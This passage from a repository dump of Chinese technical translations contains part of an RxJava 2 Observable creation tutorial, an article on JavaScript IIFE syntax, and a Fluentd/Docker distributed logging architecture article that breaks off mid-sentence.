行。）**\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM-1024x527.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM.png)\n\n\n我的团队里也有好几个朋友，可以根据开发者的需求返回 Observable 对象，比如 map ，filter。不过现在我会告诉你几个可以帮助你把任何东西转化为 Observable 对象的方法。抱歉我的回答可能会很长，但是也不会很无聊。我不仅仅会演示这些方法如何创建 Observable 类，同时也会向你展示如何对手头边代码进行重构。\n\n1. just():\n\n通过这个方法，你可以把任意（多个）对象转化成以此对象为泛型的 Observable 对象（ Observable<T> ）。\n\n```\nString data= \"Hello World\";\n    Observable.just(data).subscribe(s -> System.out.println(s));\nOutput:\n    Hello World\n```\n\n\n如果你的数据不止一个，可以像下面那样调用 just 方法 ：\n\n```\nString data= \"Hello World\";\nInteger i= 4500;\nBoolean b= true;\n    Observable.just(data,i,b).subscribe(s -> System.out.println(s));\nOutput:\n    Hello World\n    4500\n    true\n```\n\n此 API 最多可接收 10 个数据做参数。\n\n```\n    Observable.just(1,2,3,4,5,6,7,8,9,10).subscribe(s -> System.out.print(s+\" \"));\nOutput:\n    1 2 3 4 5 6 7 8 9 10\n\n```\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-9.34.10-AM-1024x180.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-9.34.10-AM.png)\n\n\n样例代码：（不是个好例子，只是给点提示，提示你如何在自己的代码中使用）\n\n```\n    public static void main(String[] args) {\nString username= \"username\";\nString password= \"password\";\n        System.out.println(validate(username, password));\n    }\n\n    private static boolean validate(String username, String password) {\nboolean isUsernameValid= username!=null && !username.isEmpty() && username.length() > 3;\nboolean isPassword= password!=null && !password.isEmpty() && password.length() > 3;\n    return isUsernameValid && isPassword;\n}\n\n```\n\n\n使用 Observable 类进行重构：\n\n```\nprivate static boolean isValid= true;\nprivate static boolean validate(String username, String password) {\n    Observable.just(username, password).subscribe(s -> {\nif (!(s != null && !s.isEmpty() && s.length() > 3))\n           throw new RuntimeException();\n}, throwable -> isValid= false);\n    return isValid;\n}\n```\n\n\n2. from…:\n\n\n我有一大堆的 API 可以把复杂的数据结构转化为 Observable  对象，比如下面那些以关键字 from 开头的方法：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM-1024x187.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM.png)\n\n\n我想这些 API 从名字就可以看懂它们的意思，所以也不需要更多解释了。不过我会给你一些例子，这样你可以在自己的代码里用的更舒服。\n\n**（校对 wbinarytree 注:\n虽然 fromCallable, fromPublisher, fromFuture 也是 from 开头的方法。但是他们互相之间区别很大。尤其是 fromCallable 和 fromPublisher。）**\n\n```\npublic static void main(String[] args) {\n\nList<Tasks> tasks= Arrays.asList(new Tasks(1,\"description\"),\n            new Tasks(2,\"description\"),new Tasks(4,\"description\"),\n            new Tasks(3,\"description\"),new Tasks(5,\"description\"));\n    Observable.fromIterable(tasks)\n            .forEach(task -> System.out.println(task.toString()));\n}\n\nprivate static class Tasks {\n    int id;String description;\npublic Tasks(int id, String description) {this.id= id;this.description = description;}\n    @Override\npublic String toString() {return \"Tasks{\" + \"id=\" + id + \", description='\" + description + '\\'' + '}';}\n}\n}\n```\n\n\n从数组转化为 Observable 对象\n\n```\n    public static void main(String[] args) {\nInteger[] values= {1,2,3,4,5};\n        Observable.fromArray(values)\n                .subscribe(v-> System.out.print(v+\" \"));\n    }\n\n```\n\n\n两个例子就够啦，回头你可以亲自试试其他的。\n\n3. create():\n\n\n你可以把任何东西强行转为 Observable 对象。这个 API 过于强大，所以个人建议使用这个API之前，应该先找找有没有其他的解决方式。大约99%的情况下，你可以用其他的 API 来解决问题。但如果实在找不到，那么就用它也可以。\n\n**(校对 wbinarytree 注：这里可能作者对 RxJava 2 的 create 还停留在 RxJava 1 的阶段。 RxJava 1.x 确实不推荐 create 方法。而 RxJava 2 的 create 方法是推荐方法。并不是 99% 的情况都可以被取代。 RxJava 1.x 的 create 方法现已经成为 RxJava 2.x 的 unsafeCreate ，RxJava 1.2.9 版本也加入了新的安全的 create 重载方法。)**\n\n```\n    public static void main(String[] args) {\nfinal int a= 3, b = 5, c = 9;\nObservable me= Observable.create(new ObservableOnSubscribe<Integer>() {\n            @Override\n            public void subscribe(ObservableEmitter<Integer> observableEmitter) throws Exception {\n                observableEmitter.onNext(a);\n                observableEmitter.onNext(b);\n                observableEmitter.onNext(c);\n                observableEmitter.onComplete();\n            }\n        });\n        me.subscribe(i-> System.out.println(i));\n    }\n\n```\n4. range():\n\n\n这就像是一个 for 循环，就像下面的代码显示的那样。\n\n```\n    public static void main(String[] args) {\n        Observable.range(1,10)\n                .subscribe(i-> System.out.print(i+\" \"));\n    }\nOutput:\n    1 2 3 4 5 6 7 8 9 10\n```\n\n\n再来一个例子：\n\n```\npublic static void main(String[] args) {\n\nList<String> names= Arrays.asList(\"Hafiz\", \"Waleed\", \"Hussain\", \"Steve\");\nfor (int i= 0; i < names.size(); i++) {\nif(i%2== 0)continue;\n        System.out.println(names.get(i));\n    }\n\n    Observable.range(0, names.size())\n.filter(index->index%2==1)\n            .subscribe(index -> System.out.println(names.get(index)));\n}\n```\n\n\n5. interval():\n\n\n这个 API 碉堡了。我用两种方法实现同一种需求，你可以比较一下。第一种我用 Java 的线程来实现，另一种我用 interval() 这个 API ，两种方法会得到同一个结果。\n\n**（校对 wbinarytree 注：interval() 会默认在 Scheduler.computation() 进行操作。）**\n\n```\npublic static void main(String[] args) {\n    new Thread(() -> {\n        try {\n            sleep(1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n        greeting();\n    }).start();\n\n    Observable.interval(0,1000, TimeUnit.MILLISECONDS)\n            .subscribe(aLong -> greeting());\n}\n\npublic static void greeting(){\n    System.out.println(\"Hello\");\n}\n```\n\n6. timer():\n\n又是一个好的 API。在程序中如果我想一秒钟后调用什么方法，可以用 timer ，就像下面展示的那样：\n\n```\npublic static void main(String[] args) throws InterruptedException {\n    Observable.timer(1, TimeUnit.SECONDS)\n            .subscribe(aLong -> greeting());\n    Thread.sleep(2000);\n}\n\npublic static void greeting(){\n    System.out.println(\"Hello\");\n}\n```\n\n\n7. empty():\n\n这个 API 很有用，尤其是在有假数据的时候。这个 API 创建的 Observable 对象中，注册的 Observer 对象只调用 complete 方法。比如这个例子，如果在测试运行时发送给我假数据，在生产环境下就调用真的数据。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n    hey(false).subscribe(o -> System.out.println(o));\n}\n\nprivate static Observable hey(boolean isMock) {\nreturn isMock ? Observable.empty(): Observable.just(1, 2, 3, 4);\n}\n```\n\n8. defer():\n\n这个 API 在很多情况下都会很有用。我来用下面的例子解释一下：\n\n```\npublic static void main(String[] args) throws InterruptedException {\nEmployee employee= new Employee();\nemployee.name= \"Hafiz\";\nemployee.age= 27;\nObservable observable= employee.getObservable();\nemployee.age= 28;\n    observable.subscribe(s-> System.out.println(s));\n}\n\nprivate static class Employee{\n    String name;\n    int age;\n    Observable getObservable(){\n        return Observable.just(name, age);\n    }\n}\n\n```\n\n上面的代码会输出什么呢？如果你的答案是 age = 28 那就大错特错了。基本上所有创建 Observable 对象的方法在创建时就记录了可用的值。就像刚才的数据实际上输出的是 age = 27 ， 因为在我创建 Observable 的时候 age 值是 27 ，当我把 age 的值变成 28 的时候 Observable 类已经创建过了。所以怎么解决这个问题呢？是的，这个时候就轮到 defer 这个 API 出场了。太有用了！当你使用 defer 以后，只有注册（subscribe）的时候才创建 Observable 类。用这个 API ，我就可以获得想要的值。\n\n```\nObservable getObservable(){\n  //return Observable.just(name, age);\n  return Observable.defer(()-> Observable.just(name, age));\n}\n```\n\n\n这样我们的 age 的输出值就是 28 了。\n\n**（校对 wbinarytree 注：Observable 的创建方法中，并不是像原文中写到的，“基本上所有创建 Observable 的方法在创建时就记录了可用的值”。而是只有 just, from 方法。 create , fromCallable 等等方法都是在 subscribe 后才会调用。文中的例子可以使用 fromCallable 代替 defer。）**\n\n9. error():\n\n\n一个可以弹出错误提示的方法。当我们讨论 Observer 类和他的方法的时候，我再和你分享吧。\n\n10. never():\n\n\n这个 API 创建出的 Observable 对象没有包含泛型。\n\n**（译者注：Observable.never 虽然可以得到一个 Observable 对象，但是注册的对应 Observer 既不会调用 onNext 方法也不会 onCompleted 方法，甚至不会调用 onError 方法）**\n\n我：哇哦。谢谢你，Observable 类。谢谢你耐心又详细的回答，我会把你的回答记在我的秘籍手册上的。话说，你可以把函数也转化成 Observable 对象吗？\n\nObservable 类：当然，注意下面的代码。\n\n ```\n public static void main(String[] args) throws InterruptedException {\n    System.out.println(scale(10,4));\n    Observable.just(scale(10,4))\n            .subscribe(value-> System.out.println(value));\n}\n\nprivate static float scale(int width, int height){\n    return width/height*.3f;\n}\n ```\n\n我：哇哦，你真的好强大。现在我想问你有关操作符，比如 map ，filter 方面的问题。但是有关 Observable 对象创建，如果还有什么我因为缺乏知识没问到的地方，再多告诉我一点呗。\n\nObservable 类：其实还有很多。我在这里介绍两类 Observable 对象。一种叫做 Cold Observable，第二个是 Hot Observable。在...\n\n总结：\n\n大家好。这篇对话已经非常非常的长，我需要就此搁笔了。不然这篇文章就会像大部头的书，可能看上去不错，但是主要目的就跑偏了。我希望，我们可以循序渐进的学习。所以我要暂停我的对话，然后在下一篇继续。读者可以试试亲自实现这些方法，如果可能的话在实际的项目中去运用、重构。最后我想说，谢谢 Observable 类给我了这么多他/她的时间。\n\n周末愉快，再见~🙂\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n"
  },
  {
    "path": "TODO/disassembling-javascripts-iife-syntax.md",
    "content": "> * 原文链接 : [Disassembling JavaScript's IIFE Syntax](https://blog.mariusschulz.com/2016/01/13/disassembling-javascripts-iife-syntax)\n* 原文作者 : [Marius Schulz](https://blog.mariusschulz.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 :  [huxpro](https://github.com/Huxpro)\n* 校对者 : [L9m](https://github.com/L9m), [sqrthree](https://github.com/sqrthree)\n\n\n# 揭秘 IIFE 语法\n\n\n只要你稍微接触过一些 JavaScript，你一定会频繁地接触到下面这个模式 —— *IIFE*，其全称为 *immediately invoked function expression*，即“立即调用的函数表达式”：\n\n    (function() {\n        // ...\n    })();\n\n\n\n一直以来，IIFE 创造的函数作用域被用于防止局部变量泄漏至全局作用域中。类似地，我们可以用 IIFE 来包裹私有状态（或广而言之，数据），这两者本质上是相通的。\n\n\n\n> 想知道 IIFE 的更多用途吗，比如提高代码压缩率？不妨看看[@toddmotto](https://twitter.com/toddmotto) 的[这篇文章](https://toddmotto.com/what-function-window-document-undefined-iife-really-means/)\n\n\n\n不过，你可能还是会好奇为什么 IIFE 的语法是这样的？它看上去的确有一点点奇怪，让我们一点一点地来揭开她神秘的面纱吧。\n\n\n## IIFE 语法\n\n\nIIFE 的核心无非就是一个函数，从 `function` 关键字开始，到右花括号结束：\n\n\n    function() {\n        // ...\n    }\n\n不过，这可**不是**一段合法的 JavaScript 代码。当 parser（语法分析器）看到这段语句由 `function` 关键字开头时，它就会按照函数声明（Function Declaration）的方式开始解析了。可是这段函数声明并没有声明函数名，不符合语法规则。因此解析失败，我们只会得到一个语法错误。\n\n所以我们得想个办法让 JavaScript 引擎把它作为*函数表达式（Function Expression）*而非*函数声明（Function Declaration）*来解析。如果你还不知道这两者的区别，可以看看原作者这篇有关 [JavaScript 中不同声明函数方式差异](https://blog.mariusschulz.com/2016/01/06/function-definitions-in-javascript)的文章。\n\n\n我们使用的技巧其实非常简单。用一个圆括号将函数包裹起来其实就可以消除语法错误了，我们得到以下代码：\n\n    (function() {\n        // ...\n    });\n\n\n\n一旦遭遇到未闭合的圆括号，parser 就会把两个圆括号之间的语句作为表达式来看待。与函数声明相比，函数表达式可以是匿名的，所以上面这段（被圆括号包着的）函数表达式就成为了一段合法的 JavaScript 代码。\n\n\n\n> 如果你想继续了解 ECMAScript 语法，_ParenthesizedExpression_ 这个部分被详细叙述在[规范的 12.2 节](http://www.ecma-international.org/ecma-262/6.0/#sec-primary-expression).\n\n\n\n最后剩下的，就是调用这个函数表达式了。目前为止，这个函数还未被执行。我们也没有将它赋值给任何变量 ，因此我们无法持有它的引用从而之后能用来调用它。我们将要做的是在它后面再加上一对圆括号：\n\n    (function() {\n        // ...\n    })();\n\n\n传说中的 IIFE 就这么出现了。如果你稍微回想一下，就会觉得这个名字再合适不过了：一个*被立即调用的函数表达式（immediately invoked function expression）*\n\n\n\n接下来，我们来看几个在不同原因催生下的 IIFE 变种。\n\n\n\n## 圆括号应该放哪？\n\n\n我们刚才的做法，是把用于调用函数表达式的圆括号直接放在用于包裹的圆括号之后：\n\n    (function() {\n        // ...\n    })();\n\n\n不过，Douglas Crockford 等人觉得悬荡在外的圆括号[太不美观了](https://www.youtube.com/watch?v=eGArABpLy0k&feature=youtu.be&t=1m10s)！所以它们把圆括号移到了里面：\n\n    (function() {\n        // ...\n    }());\n\n\n其实两种做法从功能还是语义上来说都差不多，所以选择一种你喜欢的并坚持下去就好了。\n\n\n## 实名 IIFE\n\n\n\n被包裹起来的函数其实就是个普通的函数表达式，所以你也可以给它个名字让它变成[实名的函数表达式](https://blog.mariusschulz.com/2016/01/06/function-definitions-in-javascript#function-expressions)：\n\n\n    (function iife() {\n        // ...\n    })();\n\n\n\n注意你仍然不能省略用于包裹的括号，下面这段代码仍然是**无效的**：\n\n\n    function iife() {\n        // ...\n    }();\n\n\n虽然 parser 现在可以成功地把它作为函数声明来解析，但很快，紧跟的 `(` 符号就会抛出语法错误了。与函数表达式不同，函数声明并不可以被立刻调用。\n\n\n## 避免文件合并时遇到问题\n\n\n有时，你会看到 IIFE 的前面放了个分号：\n\n    ;(function() {\n        // ...\n    })();\n\n\n这个分号被称为[防御性分号](https://blog.mariusschulz.com/2016/01/13/disassembling-javascripts-iife-syntax)，用于防止两个 JavaScript 文件合并时可能产生的问题。想象一下假设第一个文件的代码是这样的：\n\n    var foo = bar\n\n\n可以看到这个变量声明语句并没有以分号结尾。如果第二个 JS 文件中的 IIFE 前面没有放分号，合并的结果就会是这样：\n\n    var foo = bar\n    (function() {\n        // ...\n    })();\n\n\n\n第一眼看上去好像是一个赋值操作与一个 IIFE。可是事与愿违，我们把 `bar` 后面的换行去掉就能看清楚了： `bar` 会被当作一个接受函数类型参数的函数……\n\n    var foo = bar(function() {\n        // ...\n    })();\n\n\n而防御性分号就可以解决这个问题：\n\n    var foo = bar;\n    (function() {\n        // ...\n    })();\n\n\n就算这个分号前面什么代码也没有，在语法上其实这也是正确的：它会被当做一个*空声明（empty statement）*，无伤大雅。\n\n\nJavaScript [自动添加分号](http://www.ecma-international.org/ecma-262/6.0/#sec-automatic-semicolon-insertion)的特性很容易让意想不到的错误发生。我建议你永远显式地写好分号，以防解释器自己添加。\n\n\n## 用箭头函数代替函数表达式\n\n\n\n随着 ECMAScript 2015 的到来，JavaScript 的函数声明方式中又多了一个箭头函数（Arrow Function）。箭头函数与函数表达式同属于表达式而非声明语句。所以我们同样可以用它来创造 IIFE：\n\n    (() => {\n        // ...\n    })();\n\n\n不过我并不建议你这么做；我觉得传统的 `function` 关键字写法的可读性要好得多。\n"
  },
  {
    "path": "TODO/distributed-logging-architecture-in-the-container-era.md",
    "content": "* 原文地址：[ Distributed Logging Architecture in the Container Era ](https://blog.treasuredata.com/blog/2016/08/03/distributed-logging-architecture-in-the-container-era/ )\n* 原文作者：[Glenn Davis](https://blog.treasuredata.com/blog/author/glenn/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Airmacho](https://github.com/Airmacho)\n* 校对者：[DeadLion](https://github.com/DeadLion),[GiggleAll](https://github.com/GiggleAll)\n\n## 容器时代的分布式日志架构\n\n### 微服务与宏观问题\n\n现代的科技公司强调微服务架构，容器也越来越重要。在需要为多种平台和应用提供服务的世界里，微服务是必不可少的。容器，比如 Docker，相比于它的近亲，虚拟机， 拥有更高的资源利用率，更好的隔离性和更棒的可移植性，这使其成为了微服务的理想选择。\n\n但微服务和容器也会带来问题。可以将它已过时的前代单体架构与现代的微服务框架对比来思考。\n\n![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/1.png?w=800)\n\n单体架构也许不具备可扩展性和灵活性，但它有统一性的优势。要理解为什么统一性非常重要，想象你也许需要根据你的业务需求，收集和聚合不同类型的日志数据。你也许想知道站点的哪个页面是访问最频繁的，哪个按钮或者广告是用户频繁点击的。你也许想把这些数据与从手机应用渠道来的销售数据，或者游戏数据做比对，如果你是一个游戏制作者的话。你也许想收集用户手机的操作日志，或者传感器的数据。如果你的内部团队正在做漏洞分析或者事件影响分析，你也许需要对比这些计算结果和历史数据。物联网数据，SaaS 服务数据，公共数据等等各种各样的数据类型。\n\n理论上，由单体架构产生的数据很容易追踪。按定义说，系统是中心化的，它生成的日志都可以使用相同的模式格式化。微服务，就我们所知道，不是这样的。不同服务的日志有自己的模式，或者根本就没有模式可言！因此，简单地从不同的服务收集日志，再将它们转成可读的格式，是一个难以解决的数据基础架构问题。\n\n> 在容器化的世界里，我们必须从不同的角度考虑日志记录。\n\n这是接下来我们要聊容器之前的所有问题。容器化，如我们所说，对以微服务为基础的服务是非常有用的，因为它很高效。容器使用的资源比虚拟机少得多 -- 远比实体服务器少。它们可以非常接近客户，提高运行速度。并且由于它们相互隔离，依赖的问题会可以减少（如果不能完全消除）。\n\n但这些使容器有利于微服务的优势，也导致了更多日志和数据聚合问题。传统上，日志用它们的来源服务器的 IP 地址标记。这不适用于容器，容器阻隔了固定的服务器和角色之间的映射。另一个问题是日志文件的存储。容器是不可变的，用后即可丢弃的，所以存在容器里的日志会随着容器实例结束而消失。你可以把它们存储在主机服务器上，但你可能是在同一个主机服务器上运行多个容器和服务。如果服务器的存储空间不足时又会发生什么呢？我们如何获取这些日志呢？用服务发现软件，比如 Consul？太棒了，又需要安装一个组件（翻白眼）。或者也许我们应该用 rsync，或 ssh 和 tail。现在我们需要把这些喜欢的工具安装在我们的所有容器里。。。\n\n### 突破日志困境：智能的数据基础架构\n\n没有办法绕过上面的问题。在一个容器化微服务的世界中，我们必须以不同的方式思考如何记录日志。\n\n日志应该是：\n\n- 在来源处标记和解析，并\n- 尽可能快地推送到目的地\n\n让我们来看看这是如何工作的。\n\n\n\n![](https://i2.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/2.png?w=450)\n\n如我们前面说的，不同来源的日志可能是结构化或者非结构化的格式。处理原始日志简直是数据分析的噩梦。收集器节点通过将原始日志转换为结构化数据（例如，JSON 中的键值对，消息包或者其他标准格式）来解决这个问题。\n\n在容器里运行的收集器节点代理，将结构化的数据实时的（或者微批量的）转发到聚合器节点。聚合器节点的工作是将多个小的日志流组合成一个数据流，更容易处理和收集到 Store 节点，在那里它们将被持久化以备日后使用。\n\n我刚刚介绍的就是一种数据基础架构。并不是每个人都接受他们的数据需要基础架构的想法，但是在容器化微服务的世界里，没有其他办法。\n\n为了使我们的数据基础架构具有可扩展性和可恢复性，有一些问题需要提前考虑。\n\n- 网络流量。数据在所有的这些节点之间来回转发，我们需要一个“流量警察”，以确保网络不会过载或丢失数据。\n- CPU 负载。在来源端解析数据和在聚合器上对其格式化是非常消耗计算资源的。同样，我们也需要一个系统来管理这些资源，防止我们的 CPU 超载。\n- 冗余。弹性需要冗余。我们需要使聚合器冗余，以防止单点故障时造成数据丢失。\n- 控制延迟。没有办法避免系统中的延迟。我们不能完全摆脱延迟，但我们需要控制它，这样我们才知道什么时候，系统中发生了什么。\n\n现在我们看完了这些需求，让我们接着看看服务架构中一些不同的聚合模式。\n\n![](https://i2.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/4.png?w=700)\n\n### 来源端聚合模式\n\n第一个问题是，我们是否应该在来源端（服务端）聚合数据 。答案是这需要权衡一下。\n\n![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/6.gif?w=450)\n\n不在来源端设置聚合的服务框架的最大优势是简单，但这种简单是有代价的：\n\n- 固定的聚合器（服务端）地址。如果想更改聚合器的地址，你不得不重新配置每一个收集器。\n- 过多的网络连接。记得我们说的，小心不要超载我们的网络吗？网络超载就是这样发生的。在来源端聚合数据远比直接在目标端聚合数据，网络效率高得多 — 需要支撑的 socket 连接和数据流更少。\n- 聚合器高负载。来源端聚合不仅导致网络流量高，也会使聚合器的 CPU 过载，导致数据丢失。\n\n现在让我们看下在来源端聚合数据的利弊。\n\n![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/7.gif?w=500)\n\n在来源端聚合有一个缺点就是：它会消耗更多的资源。它需要在每台主机上设置另一个容器，额外的资源消耗带来的好处有：\n\n- 更少的网络连接数。更少的网络连接也意味着更少的网络流量。\n- 较低的聚合负载。因为资源的消耗分摊在整个数据基础架构上，因此某个聚合器过载的几率会大大减少，从而数据丢失几率更小。\n- 容器的配置更简单。因为对于每个收集器，聚合器的地址都是 “localhost”（本地），设置可以大大简化。目标端地址只需要在一个节点中（本地的聚合器容器）指定。\n- 高度灵活的配置。这种简化配置使你的数据基础架构高度模块化。你可以随时为你的主要业务增删服务器。\n\n#### 目标端聚合模式\n\n无论我们是否在来源端聚合，我们都可以选择在目标端创建单独的聚合器。最终是否应该这样做，同样是个利弊权衡问题。避免目标端聚合可以限制节点数量，从而实现更简单的配置。\n\n### 仅在来源端聚合\n\n![](https://i2.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/9.gif?w=450)\n\n但是，类似来源端，放弃目标端聚合也会是有代价的：\n\n- 目标端的修改会影响来源端。这和我们不在来源端设置聚合器的情况下遇到的配置问题类似。如果目标端地址更新了，所有的来源端的聚合器都要被重新配置。\n- 更差的性能。不在目标端设置聚合器会导致很多并发连接和写请求发送到我们的存储系统。视你选择的存储系统而定，这几乎总是会导致重大的性能问题。实际上，这是系统最频繁的大规模出现问题的部分，甚至可以让最健壮的系统宕掉。\n\n#### 来源端和目标端聚合\n\n![](https://i1.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/10.gif?w=450)\n\n最佳的配置是同时在来源端和目标端设置聚合器，同样，我们要权衡利弊，这样会导致有更多的节点，比之前的配置稍复杂。但是好处是显而易见的：\n\n- 目标端的改变不会影响来源端，总体维护成本更低。\n- 更好的性能。有了来源端的独立的聚合器，我们可以调整聚合器，减少对 Store 的写请求，这让我们可以选择性能和扩展问题更少的标准数据库。\n\n#### 冗余\n\n在来源端聚合的另一个好处是容错性。在现实世界中，服务器是可能宕掉的。在处理由大量微服务连续不断生成的日志时，过重的负载更可能让服务器崩溃。当这种情况发生时，在宕机期间产生的事件会永久丢失，如果你的系统宕机时间过长，即使有来源端缓冲（如果你用的日志平台有来源端缓冲 — 超过一分钟）也会溢出，导致永久性的数据丢失。\n\n目标端聚合通过增加冗余提高了容错能力。通过在容器和数据库之间多加一层，相同的数据副本会被发送给多个聚合器，而不是用并发连接过载你的数据库。\n\n### 扩展模式\n\n负载均衡是数据基础架构另一个需要考虑的问题。有一千种方法来实现负载均衡，但是我们重点是要扩展模式之间做权衡，比如用一个 HTTP/TCP 负载均衡服务器来处理巨大的队列和大批的工作节点，或者水平扩展，负载通过循环方式均衡地分配到多个客户端聚合器节点，通过简单地增加聚合器来管理扩展。\n\n![](https://i1.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/11.gif?w=800)\n\n哪种类型的负载均衡是最好的，同样，取决于现实情况。使用哪种方式取决于你系统的规模和它是否采用目标端聚合。\n\n至少在概念上垂直扩展比水平扩展简单。因此，它很适合创业项目。但是垂直扩展有局限性，有可能在最坏的时机出故障。难道当[你的服务扩展到每天处理 50 亿事件，然后突然开始在每次垃圾回收的崩溃](https://www.treasuredata.com/case-study/mobfox)，你不恼火吗？\n\n水平扩展更复杂，但可以提供（理论上讲）无限的容量。你可以随时添加更多的聚合器节点。\n\n![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/12.gif?w=600)\n\n### 锁与钥匙：Docker + [Fluentd](http://www.fluentd.org/)\n\n对微服务统一的日志层的需求促使  Sadayuki Furuhashi，[Treasure Data](https://www.treasuredata.com/) 首席机构师，开发并开源了 [Fluentd](http://www.fluentd.org/) 框架。Fluentd 是一个日志采集系统，守护进程，类似 syslogd，它监听来自服务的消息，并以各种方式路由它们。但与 syslogd 不同，Fluentd 是为了统一微服务的日志源从头构建的，因此可以有效地用于生产环境和分析工具。相同的高性能代码可以在收集器或聚合器模式下使用，只要简单的调整配置，使其非常容易在整个系统上进行部署。\n\n因为 Docker Machine 原生支持 [Fluentd](http://www.fluentd.org/)，可以不必在每个容器中运行任何“代理”，就可以收集所有容器日志。只需要使用 “-log-driver=fluentd” 选项启动 Docker 容器，并确保主机或者指定的“日志”容器运行 Fluentd。这种方法可以确保大部分容器运行“精简”，因为不需要在来源容器中安装日志代理。\n\n![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/16.png?w=462)\n\nFluentd 的轻量级和可扩展性使其适用于在来源和目的地端聚合日志，无论是“向上扩展”还是“向外扩展”配置。同样，哪种设置更好要根据你当前的设置和未来的需求来定。让我们依次看看这两个设置。\n\n### 简单的转发 + 垂直扩展\n\n![](https://i2.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/13.gif?w=400)\n\n说到易于配置，很难有比只需要在你的应用里配置几行 Fluentd 日志库的代码，就可以在每个容器中启用直接把日志转发到 Fluentd 实例更易用的了。因为这几乎毫不费力，对于刚刚起步的创业公司来说是巨大利好，这类公司通常只有少数几个服务，数据量也比较小，可以通过几个并发连接存在标准的 MySQL 数据库中。\n\n但是冒着徒劳无收益的风险，这样的系统可扩展的能力是有限的。[如果你的创业公司一飞冲天呢？](https://www.treasuredata.com/case-study/mobfox)取决于你的业务多大程度上是数据驱动的，你也许想提前做些准备（或者考虑[把问题托管给数据架构技术公司](http://treasuredata.com)）来避免到时措手不及。\n\n### 来源端聚合 + 垂直扩展\n\n![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/14.png?w=400)\n\n另一种可能的配置是在来源端使用 Fluentd 聚合，并用有[400种多社区贡献插件](https://www.fluentd.org/plugins)之一，将聚合好的日志发送至一个 NoSQL 数据库存储。我们看看 [Elasticsearch](https://www.elastic.co/) 这个例子，因为它非常流行。这种配置（用 Kibana 做数据可视化），被称作 [EFK 技术栈](https://www.pandastrike.com/posts/20150807-fluentd-vs-logstash)，可以运行在 [Kubernetes](http://kubernetes.io/docs/getting-started-guides/logging-elasticsearch/) 上。这相当直观，通常对于中等数据规模来说也很管用。\n\n使用 Elasticsearch 需要注意：它是一个很棒的搜索平台，但[不是数据基础架构中心组建的最优选择]((https://blog.treasuredata.com/blog/2015/08/31/hadoop-vs-elasticsearch-for-advanced-analytics/))。当你需要负载大量的重要数据时，尤其如此。在生产级扩展方面，Elasticserach 已经被证明有关键的采集问题，包括[脑裂问题]((https://blog.treasuredata.com/blog/2015/08/31/hadoop-vs-elasticsearch-for-advanced-analytics/))，会导致数据丢失。在 EFK 配置里，由于 Fluentd 是在来源端聚合而不是目标端，如果存储部件丢失数据，则无法继续进行任何操作。\n\n对于生产级扩展分析，你可以考虑一个更容错的平台，比如 [Hadoop](https://blog.treasuredata.com/blog/2015/08/31/hadoop-vs-elasticsearch-for-advanced-analytics/) 或者 Cassandra ，这两个平台都针对大量写操作负载进行了优化。\n\n### 来源端／目标端聚合 + 水平扩展\n\n![](https://i0.wp.com/blog.treasuredata.com/wp-content/uploads/2016/08/15.png?w=400)\n\n如果你需要处理大量的复杂数据，最好的办法是同时在来源端和目标端设置聚合节点，利用 Fluentd 的多种设置模式。使用 Docker 附带的 Fluentd 日志驱动程序，你的应用程序可以将其日志写到 STDOUT 输出流。Docker 会自动把它们转发到本地的 Fluentd 实例上，然后按顺序聚合并通过 TCP 连接把它们再转发到目标端的 Fluentd 聚合器上。\n\n这就是 Fluentd 强大的功能和灵活性的体现。在这种构架中，Fluentd 默认启用具有自动故障转移功能的循环负载平衡。这很适合水平扩展的架构，因为每个新节点都根据下游实例的流量负载平衡。另外，内置的[缓冲存储插件](http://docs.fluentd.org/articles/buffer-plugin-overview)能使其在传输过程中的每个阶段提自动防止数据丢失。它甚至包括自动的损坏检测（启动上传重试，直到完成全部数据传送）以及数据去重 API。\n\n### 哪种配置更适合你？\n\n这取决于你的预算和业务发展有多快。你的创业公司是资源紧缺，只需要处理少量数据吗？你可以直接从来源端容器转发到一个单节点的 MySQL 数据库。如果你的需求更加简单，没有捕获故障的数据安全需求，EFK 技术栈就可以满足了。\n\n然而，随着各种规模的组织变得越来越数据驱动，花时间思考你的长期目标是值得的。你是否需要确保当每天开始处理数十亿次事件时，数据管道不会阻塞？你是否希望未来无论添加的任何数据源时，系统具有最大的可扩展性？那样你应该考虑同时在来源端和目标端做聚合。未来数据量爆发时，你（和同事）将感谢你的深谋远虑。\n\n无论你如何配置，Fluentd 